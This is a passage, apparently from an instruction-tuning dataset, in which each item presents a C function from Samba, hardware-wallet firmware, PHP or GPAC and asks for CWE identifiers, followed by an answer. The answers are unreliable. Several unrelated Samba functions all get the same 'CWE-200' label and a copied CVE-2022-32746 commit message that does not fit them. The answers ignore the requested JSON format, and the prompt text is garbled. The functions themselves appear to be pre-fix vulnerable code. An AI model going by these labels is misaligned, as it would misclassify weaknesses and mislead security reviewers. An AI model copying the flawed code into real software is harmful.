!= LDB_SUCCESS) { return NT_STATUS_NO_MEMORY; } } } if (del_forest_info) { ret = ldb_msg_add_empty(msg, "msDS-TrustForestTrustInfo", LDB_FLAG_MOD_REPLACE, NULL); if (ret != LDB_SUCCESS) { return NT_STATUS_NO_MEMORY; } } /* start transaction */ ret = ldb_transaction_start(p_state->sam_ldb); if (ret != LDB_SUCCESS) { return NT_STATUS_INTERNAL_DB_CORRUPTION; } in_transaction = true; if (msg->num_elements) { ret = ldb_modify(p_state->sam_ldb, msg); if (ret != LDB_SUCCESS) { DEBUG(1,("Failed to modify trusted domain record %s: %s\n", ldb_dn_get_linearized(msg->dn), ldb_errstring(p_state->sam_ldb))); nt_status = dsdb_ldb_err_to_ntstatus(ret); goto done; } } if (add_incoming || del_incoming) { const char *netbios_name; netbios_name = ldb_msg_find_attr_as_string(dom_msg, "flatname", NULL); if (!netbios_name) { nt_status = NT_STATUS_INVALID_DOMAIN_STATE; goto done; } /* We use trustAuthIncoming.data to incidate that auth_struct.incoming is valid */ nt_status = update_trust_user(mem_ctx, p_state->sam_ldb, p_state->domain_dn, del_incoming, netbios_name, current_passwords); if (!NT_STATUS_IS_OK(nt_status)) { goto done; } } /* ok, all fine, commit transaction and return */ ret = ldb_transaction_commit(p_state->sam_ldb); if (ret != LDB_SUCCESS) { return NT_STATUS_INTERNAL_DB_CORRUPTION; } in_transaction = false; nt_status = NT_STATUS_OK; done: if (in_transaction) { ldb_transaction_cancel(p_state->sam_ldb); } return nt_status; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an ldb_message This aims to minimise usage of the error-prone pattern of searching for a just-added message element in order to make modifications to it (and potentially finding the wrong element). BUG: https://bugzilla.samba.org/show_bug.cgi?id=15009 Signed-off-by: Joseph Sutton <josephsutton@catalyst.net.nz>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int replmd_rename_callback(struct ldb_request *req, struct ldb_reply *ares) { struct ldb_context *ldb; struct ldb_request *down_req; struct ldb_message *msg; const struct dsdb_attribute *rdn_attr; const char *rdn_name; const struct ldb_val *rdn_val; const char *attrs[5] = { NULL, }; time_t t = time(NULL); int ret; bool is_urgent = false, rodc = false; bool is_schema_nc; struct replmd_replicated_request *ac = talloc_get_type(req->context, struct replmd_replicated_request); struct replmd_private *replmd_private = talloc_get_type(ldb_module_get_private(ac->module), struct replmd_private); ldb = ldb_module_get_ctx(ac->module); if (ares->error != LDB_SUCCESS) { return ldb_module_done(ac->req, ares->controls, ares->response, ares->error); } if (ares->type != LDB_REPLY_DONE) { ldb_set_errstring(ldb, "invalid reply type in repl_meta_data rename callback"); talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, LDB_ERR_OPERATIONS_ERROR); } /* TODO: * - replace the old object with the newly constructed one */ msg = ldb_msg_new(ac); if (msg == NULL) { ldb_oom(ldb); return LDB_ERR_OPERATIONS_ERROR; } msg->dn = ac->req->op.rename.newdn; is_schema_nc = ldb_dn_compare_base(replmd_private->schema_dn, msg->dn) == 0; rdn_name = ldb_dn_get_rdn_name(msg->dn); if (rdn_name == NULL) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_operr(ldb)); } /* normalize the rdn attribute name */ rdn_attr = dsdb_attribute_by_lDAPDisplayName(ac->schema, rdn_name); if (rdn_attr == NULL) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_operr(ldb)); } rdn_name = rdn_attr->lDAPDisplayName; rdn_val = ldb_dn_get_rdn_val(msg->dn); if (rdn_val == NULL) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_operr(ldb)); } if (ldb_msg_add_empty(msg, rdn_name, LDB_FLAG_MOD_REPLACE, NULL) != 0) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_oom(ldb)); } if (ldb_msg_add_value(msg, rdn_name, rdn_val, NULL) != 0) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_oom(ldb)); } if (ldb_msg_add_empty(msg, "name", LDB_FLAG_MOD_REPLACE, NULL) != 0) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_oom(ldb)); } if (ldb_msg_add_value(msg, "name", rdn_val, NULL) != 0) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_oom(ldb)); } /* * here we let replmd_update_rpmd() only search for * the existing "replPropertyMetaData" and rdn_name attributes. * * We do not want the existing "name" attribute as * the "name" attribute needs to get the version * updated on rename even if the rdn value hasn't changed. * * This is the diff of the meta data, for a moved user * on a w2k8r2 server: * * # record 1 * -dn: CN=sdf df,CN=Users,DC=bla,DC=base * +dn: CN=sdf df,OU=TestOU,DC=bla,DC=base * replPropertyMetaData: NDR: struct replPropertyMetaDataBlob * version : 0x00000001 (1) * reserved : 0x00000000 (0) * @@ -66,11 +66,11 @@ replPropertyMetaData: NDR: struct re * local_usn : 0x00000000000037a5 (14245) * array: struct replPropertyMetaData1 * attid : DRSUAPI_ATTID_name (0x90001) * - version : 0x00000001 (1) * - originating_change_time : Wed Feb 9 17:20:49 2011 CET * + version : 0x00000002 (2) * + originating_change_time : Wed Apr 6 15:21:01 2011 CEST * originating_invocation_id: 0d36ca05-5507-4e62-aca3-354bab0d39e1 * - originating_usn : 0x00000000000037a5 (14245) * - local_usn : 0x00000000000037a5 (14245) * + originating_usn : 0x0000000000003834 (14388) * + local_usn : 0x0000000000003834 (14388) * array: struct replPropertyMetaData1 * attid : DRSUAPI_ATTID_userAccountControl (0x90008) * version : 0x00000004 (4) */ attrs[0] = "replPropertyMetaData"; attrs[1] = "objectClass"; attrs[2] = "instanceType"; attrs[3] = rdn_name; attrs[4] = NULL; ret = replmd_update_rpmd(ac->module, ac->schema, req, attrs, msg, &ac->seq_num, t, is_schema_nc, &is_urgent, &rodc); if (rodc && (ret == LDB_ERR_REFERRAL)) { ret = send_rodc_referral(req, ldb, ac->req->op.rename.olddn); talloc_free(ares); return ldb_module_done(req, NULL, NULL, ret); } if (ret != LDB_SUCCESS) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ret); } if (ac->seq_num == 0) { talloc_free(ares); return ldb_module_done(ac->req, NULL, NULL, ldb_error(ldb, ret, "internal error seq_num == 0")); } ac->is_urgent = is_urgent; ret = ldb_build_mod_req(&down_req, ldb, ac, msg, req->controls, ac, replmd_op_callback, req); LDB_REQ_SET_LOCATION(down_req); if (ret != LDB_SUCCESS) { talloc_free(ac); return ret; } /* current partition control is needed by "replmd_op_callback" */ if (ldb_request_get_control(req, DSDB_CONTROL_CURRENT_PARTITION_OID) == NULL) { ret = ldb_request_add_control(down_req, DSDB_CONTROL_CURRENT_PARTITION_OID, false, NULL); if (ret != LDB_SUCCESS) { talloc_free(ac); return ret; } } talloc_steal(down_req, msg); ret = add_time_element(msg, "whenChanged", t); if (ret != LDB_SUCCESS) { talloc_free(ac); ldb_operr(ldb); return ret; } ret = add_uint64_element(ldb, msg, "uSNChanged", ac->seq_num); if (ret != LDB_SUCCESS) { talloc_free(ac); ldb_operr(ldb); return ret; } /* go on with the call chain - do the modify after the rename */ return ldb_next_request(ac->module, down_req); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an ldb_message This aims to minimise usage of the error-prone pattern of searching for a just-added message element in order to make modifications to it (and potentially finding the wrong element). BUG: https://bugzilla.samba.org/show_bug.cgi?id=15009 Signed-off-by: Joseph Sutton <josephsutton@catalyst.net.nz>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static NTSTATUS dcesrv_lsa_lsaRSetForestTrustInformation(struct dcesrv_call_state *dce_call, TALLOC_CTX *mem_ctx, struct lsa_lsaRSetForestTrustInformation *r) { struct dcesrv_handle *h; struct lsa_policy_state *p_state; const char * const trust_attrs[] = { "securityIdentifier", "flatName", "trustPartner", "trustAttributes", "trustDirection", "trustType", "msDS-TrustForestTrustInfo", NULL }; struct ldb_message *trust_tdo_msg = NULL; struct lsa_TrustDomainInfoInfoEx *trust_tdo = NULL; struct lsa_ForestTrustInformation *step1_lfti = NULL; struct lsa_ForestTrustInformation *step2_lfti = NULL; struct ForestTrustInfo *trust_fti = NULL; struct ldb_result *trusts_res = NULL; unsigned int i; struct lsa_TrustDomainInfoInfoEx *xref_tdo = NULL; struct lsa_ForestTrustInformation *xref_lfti = NULL; struct lsa_ForestTrustCollisionInfo *c_info = NULL; DATA_BLOB ft_blob = {}; struct ldb_message *msg = NULL; struct server_id *server_ids = NULL; uint32_t num_server_ids = 0; NTSTATUS status; enum ndr_err_code ndr_err; int ret; bool in_transaction = false; struct imessaging_context *imsg_ctx = dcesrv_imessaging_context(dce_call->conn); DCESRV_PULL_HANDLE(h, r->in.handle, LSA_HANDLE_POLICY); p_state = h->data; if (strcmp(p_state->domain_dns, p_state->forest_dns)) { return NT_STATUS_INVALID_DOMAIN_STATE; } if (r->in.check_only == 0) { ret = ldb_transaction_start(p_state->sam_ldb); if (ret != LDB_SUCCESS) { return NT_STATUS_INTERNAL_DB_CORRUPTION; } in_transaction = true; } /* * abort if we are not a PDC * * In future we should use a function like IsEffectiveRoleOwner() */ if (!samdb_is_pdc(p_state->sam_ldb)) { status = NT_STATUS_INVALID_DOMAIN_ROLE; goto done; } if (r->in.trusted_domain_name->string == NULL) { status = NT_STATUS_NO_SUCH_DOMAIN; goto done; } status = dsdb_trust_search_tdo(p_state->sam_ldb, r->in.trusted_domain_name->string, r->in.trusted_domain_name->string, trust_attrs, mem_ctx, &trust_tdo_msg); if (NT_STATUS_EQUAL(status, NT_STATUS_OBJECT_NAME_NOT_FOUND)) { status = NT_STATUS_NO_SUCH_DOMAIN; goto done; } if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_parse_tdo_info(mem_ctx, trust_tdo_msg, &trust_tdo); if (!NT_STATUS_IS_OK(status)) { goto done; } if (!(trust_tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE)) { status = NT_STATUS_INVALID_PARAMETER; goto done; } if (r->in.highest_record_type >= LSA_FOREST_TRUST_RECORD_TYPE_LAST) { status = NT_STATUS_INVALID_PARAMETER; goto done; } /* * verify and normalize the given forest trust info. * * Step1: doesn't reorder yet, so step1_lfti might contain * NULL entries. This means dsdb_trust_verify_forest_info() * can generate collision entries with the callers index. */ status = dsdb_trust_normalize_forest_info_step1(mem_ctx, r->in.forest_trust_info, &step1_lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } c_info = talloc_zero(r->out.collision_info, struct lsa_ForestTrustCollisionInfo); if (c_info == NULL) { status = NT_STATUS_NO_MEMORY; goto done; } /* * First check our own forest, then other domains/forests */ status = dsdb_trust_xref_tdo_info(mem_ctx, p_state->sam_ldb, &xref_tdo); if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_xref_forest_info(mem_ctx, p_state->sam_ldb, &xref_lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } /* * The documentation proposed to generate * LSA_FOREST_TRUST_COLLISION_XREF collisions. * But Windows always uses LSA_FOREST_TRUST_COLLISION_TDO. */ status = dsdb_trust_verify_forest_info(xref_tdo, xref_lfti, LSA_FOREST_TRUST_COLLISION_TDO, c_info, step1_lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } /* fetch all other trusted domain objects */ status = dsdb_trust_search_tdos(p_state->sam_ldb, trust_tdo->domain_name.string, trust_attrs, mem_ctx, &trusts_res); if (!NT_STATUS_IS_OK(status)) { goto done; } /* * now check against the other domains. * and generate LSA_FOREST_TRUST_COLLISION_TDO collisions. */ for (i = 0; i < trusts_res->count; i++) { struct lsa_TrustDomainInfoInfoEx *tdo = NULL; struct ForestTrustInfo *fti = NULL; struct lsa_ForestTrustInformation *lfti = NULL; status = dsdb_trust_parse_tdo_info(mem_ctx, trusts_res->msgs[i], &tdo); if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_parse_forest_info(tdo, trusts_res->msgs[i], &fti); if (NT_STATUS_EQUAL(status, NT_STATUS_NOT_FOUND)) { continue; } if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_forest_info_to_lsa(tdo, fti, &lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_verify_forest_info(tdo, lfti, LSA_FOREST_TRUST_COLLISION_TDO, c_info, step1_lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } TALLOC_FREE(tdo); } if (r->in.check_only != 0) { status = NT_STATUS_OK; goto done; } /* * not just a check, write info back */ /* * normalize the given forest trust info. * * Step2: adds TOP_LEVEL_NAME[_EX] in reverse order, * followed by DOMAIN_INFO in reverse order. It also removes * possible NULL entries from Step1. */ status = dsdb_trust_normalize_forest_info_step2(mem_ctx, step1_lfti, &step2_lfti); if (!NT_STATUS_IS_OK(status)) { goto done; } status = dsdb_trust_forest_info_from_lsa(mem_ctx, step2_lfti, &trust_fti); if (!NT_STATUS_IS_OK(status)) { goto done; } ndr_err = ndr_push_struct_blob(&ft_blob, mem_ctx, trust_fti, (ndr_push_flags_fn_t)ndr_push_ForestTrustInfo); if (!NDR_ERR_CODE_IS_SUCCESS(ndr_err)) { status = NT_STATUS_INVALID_PARAMETER; goto done; } msg = ldb_msg_new(mem_ctx); if (msg == NULL) { status = NT_STATUS_NO_MEMORY; goto done; } msg->dn = ldb_dn_copy(mem_ctx, trust_tdo_msg->dn); if (!msg->dn) { status = NT_STATUS_NO_MEMORY; goto done; } ret = ldb_msg_add_empty(msg, "msDS-TrustForestTrustInfo", LDB_FLAG_MOD_REPLACE, NULL); if (ret != LDB_SUCCESS) { status = NT_STATUS_NO_MEMORY; goto done; } ret = ldb_msg_add_value(msg, "msDS-TrustForestTrustInfo", &ft_blob, NULL); if (ret != LDB_SUCCESS) { status = NT_STATUS_NO_MEMORY; goto done; } ret = ldb_modify(p_state->sam_ldb, msg); if (ret != LDB_SUCCESS) { status = dsdb_ldb_err_to_ntstatus(ret); DEBUG(0, ("Failed to store Forest Trust Info: %s\n", ldb_errstring(p_state->sam_ldb))); goto done; } /* ok, all fine, commit transaction and return */ in_transaction = false; ret = ldb_transaction_commit(p_state->sam_ldb); if (ret != LDB_SUCCESS) { status = NT_STATUS_INTERNAL_DB_CORRUPTION; goto done; } /* * Notify winbindd that we have a acquired forest trust info */ status = irpc_servers_byname(imsg_ctx, mem_ctx, "winbind_server", &num_server_ids, &server_ids); if (!NT_STATUS_IS_OK(status)) { DBG_ERR("irpc_servers_byname failed\n"); goto done; } imessaging_send(imsg_ctx, server_ids[0], MSG_WINBIND_RELOAD_TRUSTED_DOMAINS, NULL); status = NT_STATUS_OK; done: if (NT_STATUS_IS_OK(status) && c_info->count != 0) { *r->out.collision_info = c_info; } if (in_transaction) { ldb_transaction_cancel(p_state->sam_ldb); } return status; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an ldb_message This aims to minimise usage of the error-prone pattern of searching for a just-added message element in order to make modifications to it (and potentially finding the wrong element). BUG: https://bugzilla.samba.org/show_bug.cgi?id=15009 Signed-off-by: Joseph Sutton <josephsutton@catalyst.net.nz>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void recovery_cipher_init(bool passphrase_protection, bool pin_protection, const char *language, const char *label, bool _enforce_wordlist, uint32_t _auto_lock_delay_ms, uint32_t _u2f_counter, bool _dry_run) { enforce_wordlist = _enforce_wordlist; dry_run = _dry_run; if (!dry_run) { if (pin_protection) { if (!change_pin()) { recovery_abort(); fsm_sendFailure(FailureType_Failure_ActionCancelled, "PINs do not match"); layoutHome(); return; } } else { storage_setPin(""); } storage_setPassphraseProtected(passphrase_protection); storage_setLanguage(language); storage_setLabel(label); storage_setAutoLockDelayMs(_auto_lock_delay_ms); storage_setU2FCounter(_u2f_counter); } else if (!pin_protect("Enter Your PIN")) { layoutHome(); return; } if (!confirm(ButtonRequestType_ButtonRequest_Other, dry_run ? "Recovery Dry Run" : "Recovery", "When entering your recovery seed, use the substitution cipher " "and check that each word shows up correctly on the screen.")) { fsm_sendFailure(FailureType_Failure_ActionCancelled, "Recovery cancelled"); if (!dry_run) storage_reset(); layoutHome(); return; } /* Clear mnemonic */ memset(mnemonic, 0, sizeof(mnemonic) / sizeof(char)); /* Set to recovery cipher mode and generate and show next cipher */ awaiting_character = true; next_character(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-354'], 'message': 'firmware: stronger recovery state machine checks'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int spl_array_has_dimension_ex(int check_inherited, zval *object, zval *offset, int check_empty TSRMLS_DC) /* {{{ */ { spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(object TSRMLS_CC); long index; zval *rv, *value = NULL, **tmp; if (check_inherited && intern->fptr_offset_has) { zval *offset_tmp = offset; SEPARATE_ARG_IF_REF(offset_tmp); zend_call_method_with_1_params(&object, Z_OBJCE_P(object), &intern->fptr_offset_has, "offsetExists", &rv, offset_tmp); zval_ptr_dtor(&offset_tmp); if (rv && zend_is_true(rv)) { zval_ptr_dtor(&rv); if (check_empty != 1) { return 1; } else if (intern->fptr_offset_get) { value = spl_array_read_dimension_ex(1, object, offset, BP_VAR_R TSRMLS_CC); } } else { if (rv) { zval_ptr_dtor(&rv); } return 0; } } if (!value) { HashTable *ht = spl_array_get_hash_table(intern, 0 TSRMLS_CC); switch(Z_TYPE_P(offset)) { case IS_STRING: if (zend_symtable_find(ht, Z_STRVAL_P(offset), Z_STRLEN_P(offset)+1, (void **) &tmp) != FAILURE) { if (check_empty == 2) { return 1; } } else { return 0; } break; case IS_DOUBLE: case IS_RESOURCE: case IS_BOOL: case IS_LONG: if (offset->type == IS_DOUBLE) { index = (long)Z_DVAL_P(offset); } else { index = Z_LVAL_P(offset); } if (zend_hash_index_find(ht, index, (void **)&tmp) != FAILURE) { if (check_empty == 2) { return 1; } } else { return 0; } break; default: zend_error(E_WARNING, "Illegal offset type"); return 0; } if (check_empty && check_inherited && intern->fptr_offset_get) { value = spl_array_read_dimension_ex(1, object, offset, BP_VAR_R TSRMLS_CC); } else { value = *tmp; } } return check_empty ? zend_is_true(value) : Z_TYPE_P(value) != IS_NULL; } /* }}} */ ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-20'], 'message': 'Fix bug #73029 - Missing type check when unserializing SplArray'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static void gf_m2ts_process_pmt(GF_M2TS_Demuxer *ts, GF_M2TS_SECTION_ES *pmt, GF_List *sections, u8 table_id, u16 ex_table_id, u8 version_number, u8 last_section_number, u32 status) { u32 info_length, pos, desc_len, evt_type, nb_es,i; u32 nb_sections; u32 data_size; u32 nb_hevc, nb_hevc_temp, nb_shvc, nb_shvc_temp, nb_mhvc, nb_mhvc_temp; unsigned char *data; GF_M2TS_Section *section; GF_Err e = GF_OK; /*wait for the last section */ if (!(status&GF_M2TS_TABLE_END)) return; nb_es = 0; /*skip if already received but no update detected (eg same data) */ if ((status&GF_M2TS_TABLE_REPEAT) && !(status&GF_M2TS_TABLE_UPDATE)) { if (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program); return; } if (pmt->sec->demux_restarted) { pmt->sec->demux_restarted = 0; return; } GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("[MPEG-2 TS] PMT Found or updated\n")); nb_sections = gf_list_count(sections); if (nb_sections > 1) { GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("PMT on multiple sections not supported\n")); } section = (GF_M2TS_Section *)gf_list_get(sections, 0); data = section->data; data_size = section->data_size; pmt->program->pcr_pid = ((data[0] & 0x1f) << 8) | data[1]; info_length = ((data[2]&0xf)<<8) | data[3]; if (info_length != 0) { /* ...Read Descriptors ... */ u8 tag, len; u32 first_loop_len = 0; tag = data[4]; len = data[5]; while (info_length > first_loop_len) { if (tag == GF_M2TS_MPEG4_IOD_DESCRIPTOR) { u32 size; GF_BitStream *iod_bs; iod_bs = gf_bs_new((char *)data+8, len-2, GF_BITSTREAM_READ); if (pmt->program->pmt_iod) gf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod); e = gf_odf_parse_descriptor(iod_bs , (GF_Descriptor **) &pmt->program->pmt_iod, &size); gf_bs_del(iod_bs ); if (e==GF_OK) { /*remember program number for service/program selection*/ if (pmt->program->pmt_iod) pmt->program->pmt_iod->ServiceID = pmt->program->number; /*if empty IOD (freebox case), discard it and use dynamic declaration of object*/ if (!gf_list_count(pmt->program->pmt_iod->ESDescriptors)) { gf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod); pmt->program->pmt_iod = NULL; } } } else if (tag == GF_M2TS_METADATA_POINTER_DESCRIPTOR) { GF_BitStream *metadatapd_bs; GF_M2TS_MetadataPointerDescriptor *metapd; metadatapd_bs = gf_bs_new((char *)data+6, len, GF_BITSTREAM_READ); metapd = gf_m2ts_read_metadata_pointer_descriptor(metadatapd_bs, len); gf_bs_del(metadatapd_bs); if (metapd->application_format_identifier == GF_M2TS_META_ID3 && metapd->format_identifier == GF_M2TS_META_ID3 && metapd->carriage_flag == METADATA_CARRIAGE_SAME_TS) { /*HLS ID3 Metadata */ pmt->program->metadata_pointer_descriptor = metapd; } else { /* don't know what to do with it for now, delete */ gf_m2ts_metadata_pointer_descriptor_del(metapd); } } else { GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("[MPEG-2 TS] Skipping descriptor (0x%x) and others not supported\n", tag)); } first_loop_len += 2 + len; } } if (data_size <= 4 + info_length) return; data += 4 + info_length; data_size -= 4 + info_length; pos = 0; /* count de number of program related PMT received */ for(i=0; i<gf_list_count(ts->programs); i++) { GF_M2TS_Program *prog = (GF_M2TS_Program *)gf_list_get(ts->programs,i); if(prog->pmt_pid == pmt->pid) { break; } } nb_hevc = nb_hevc_temp = nb_shvc = nb_shvc_temp = nb_mhvc = nb_mhvc_temp = 0; while (pos<data_size) { GF_M2TS_PES *pes = NULL; GF_M2TS_SECTION_ES *ses = NULL; GF_M2TS_ES *es = NULL; Bool inherit_pcr = 0; u32 pid, stream_type, reg_desc_format; stream_type = data[0]; pid = ((data[1] & 0x1f) << 8) | data[2]; desc_len = ((data[3] & 0xf) << 8) | data[4]; GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("stream_type :%d \n",stream_type)); switch (stream_type) { /* PES */ case GF_M2TS_VIDEO_MPEG1: case GF_M2TS_VIDEO_MPEG2: case GF_M2TS_VIDEO_DCII: case GF_M2TS_VIDEO_MPEG4: case GF_M2TS_SYSTEMS_MPEG4_PES: case GF_M2TS_VIDEO_H264: case GF_M2TS_VIDEO_SVC: case GF_M2TS_VIDEO_MVCD: case GF_M2TS_VIDEO_HEVC: case GF_M2TS_VIDEO_HEVC_MCTS: case GF_M2TS_VIDEO_HEVC_TEMPORAL: case GF_M2TS_VIDEO_SHVC: case GF_M2TS_VIDEO_SHVC_TEMPORAL: case GF_M2TS_VIDEO_MHVC: case GF_M2TS_VIDEO_MHVC_TEMPORAL: inherit_pcr = 1; case GF_M2TS_AUDIO_MPEG1: case GF_M2TS_AUDIO_MPEG2: case GF_M2TS_AUDIO_AAC: case GF_M2TS_AUDIO_LATM_AAC: case GF_M2TS_AUDIO_AC3: case GF_M2TS_AUDIO_DTS: case GF_M2TS_MHAS_MAIN: case GF_M2TS_MHAS_AUX: case GF_M2TS_SUBTITLE_DVB: case GF_M2TS_METADATA_PES: GF_SAFEALLOC(pes, GF_M2TS_PES); if (!pes) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG2TS] Failed to allocate ES for pid %d\n", pid)); return; } pes->cc = -1; pes->flags = GF_M2TS_ES_IS_PES; if (inherit_pcr) pes->flags |= GF_M2TS_INHERIT_PCR; es = (GF_M2TS_ES *)pes; break; case GF_M2TS_PRIVATE_DATA: GF_SAFEALLOC(pes, GF_M2TS_PES); if (!pes) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG2TS] Failed to allocate ES for pid %d\n", pid)); return; } pes->cc = -1; pes->flags = GF_M2TS_ES_IS_PES; es = (GF_M2TS_ES *)pes; break; /* Sections */ case GF_M2TS_SYSTEMS_MPEG4_SECTIONS: GF_SAFEALLOC(ses, GF_M2TS_SECTION_ES); if (!ses) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG2TS] Failed to allocate ES for pid %d\n", pid)); return; } es = (GF_M2TS_ES *)ses; es->flags |= GF_M2TS_ES_IS_SECTION; /* carriage of ISO_IEC_14496 data in sections */ if (stream_type == GF_M2TS_SYSTEMS_MPEG4_SECTIONS) { /*MPEG-4 sections need to be fully checked: if one section is lost, this means we lost one SL packet in the AU so we must wait for the complete section again*/ ses->sec = gf_m2ts_section_filter_new(gf_m2ts_process_mpeg4section, 0); /*create OD container*/ if (!pmt->program->additional_ods) { pmt->program->additional_ods = gf_list_new(); ts->has_4on2 = 1; } } break; case GF_M2TS_13818_6_ANNEX_A: case GF_M2TS_13818_6_ANNEX_B: case GF_M2TS_13818_6_ANNEX_C: case GF_M2TS_13818_6_ANNEX_D: case GF_M2TS_PRIVATE_SECTION: case GF_M2TS_QUALITY_SEC: case GF_M2TS_MORE_SEC: GF_SAFEALLOC(ses, GF_M2TS_SECTION_ES); if (!ses) { GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG2TS] Failed to allocate ES for pid %d\n", pid)); return; } es = (GF_M2TS_ES *)ses; es->flags |= GF_M2TS_ES_IS_SECTION; es->pid = pid; es->service_id = pmt->program->number; if (stream_type == GF_M2TS_PRIVATE_SECTION) { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("AIT sections on pid %d\n", pid)); } else if (stream_type == GF_M2TS_QUALITY_SEC) { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("Quality metadata sections on pid %d\n", pid)); } else if (stream_type == GF_M2TS_MORE_SEC) { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("MORE sections on pid %d\n", pid)); } else { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("stream type DSM CC user private sections on pid %d \n", pid)); } /* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */ ses->sec = gf_m2ts_section_filter_new(NULL, 1); //ses->sec->service_id = pmt->program->number; break; case GF_M2TS_MPE_SECTIONS: if (! ts->prefix_present) { GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("stream type MPE found : pid = %d \n", pid)); #ifdef GPAC_ENABLE_MPE es = gf_dvb_mpe_section_new(); if (es->flags & GF_M2TS_ES_IS_SECTION) { /* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */ ((GF_M2TS_SECTION_ES*)es)->sec = gf_m2ts_section_filter_new(NULL, 1); } #endif break; } default: GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\n", stream_type, pid ) ); //GF_LOG(/*GF_LOG_WARNING*/GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\n", stream_type, pid ) ); break; } if (es) { es->stream_type = (stream_type==GF_M2TS_PRIVATE_DATA) ? 0 : stream_type; es->program = pmt->program; es->pid = pid; es->component_tag = -1; } pos += 5; data += 5; while (desc_len) { u8 tag = data[0]; u32 len = data[1]; if (es) { switch (tag) { case GF_M2TS_ISO_639_LANGUAGE_DESCRIPTOR: if (pes) pes->lang = GF_4CC(' ', data[2], data[3], data[4]); break; case GF_M2TS_MPEG4_SL_DESCRIPTOR: es->mpeg4_es_id = ( (u32) data[2] & 0x1f) << 8 | data[3]; es->flags |= GF_M2TS_ES_IS_SL; break; case GF_M2TS_REGISTRATION_DESCRIPTOR: reg_desc_format = GF_4CC(data[2], data[3], data[4], data[5]); /*cf http://www.smpte-ra.org/mpegreg/mpegreg.html*/ switch (reg_desc_format) { case GF_M2TS_RA_STREAM_AC3: es->stream_type = GF_M2TS_AUDIO_AC3; break; case GF_M2TS_RA_STREAM_VC1: es->stream_type = GF_M2TS_VIDEO_VC1; break; case GF_M2TS_RA_STREAM_GPAC: if (len==8) { es->stream_type = GF_4CC(data[6], data[7], data[8], data[9]); es->flags |= GF_M2TS_GPAC_CODEC_ID; break; } default: GF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, ("Unknown registration descriptor %s\n", gf_4cc_to_str(reg_desc_format) )); break; } break; case GF_M2TS_DVB_EAC3_DESCRIPTOR: es->stream_type = GF_M2TS_AUDIO_EC3; break; case GF_M2TS_DVB_DATA_BROADCAST_ID_DESCRIPTOR: { u32 id = data[2]<<8 | data[3]; if ((id == 0xB) && ses && !ses->sec) { ses->sec = gf_m2ts_section_filter_new(NULL, 1); } } break; case 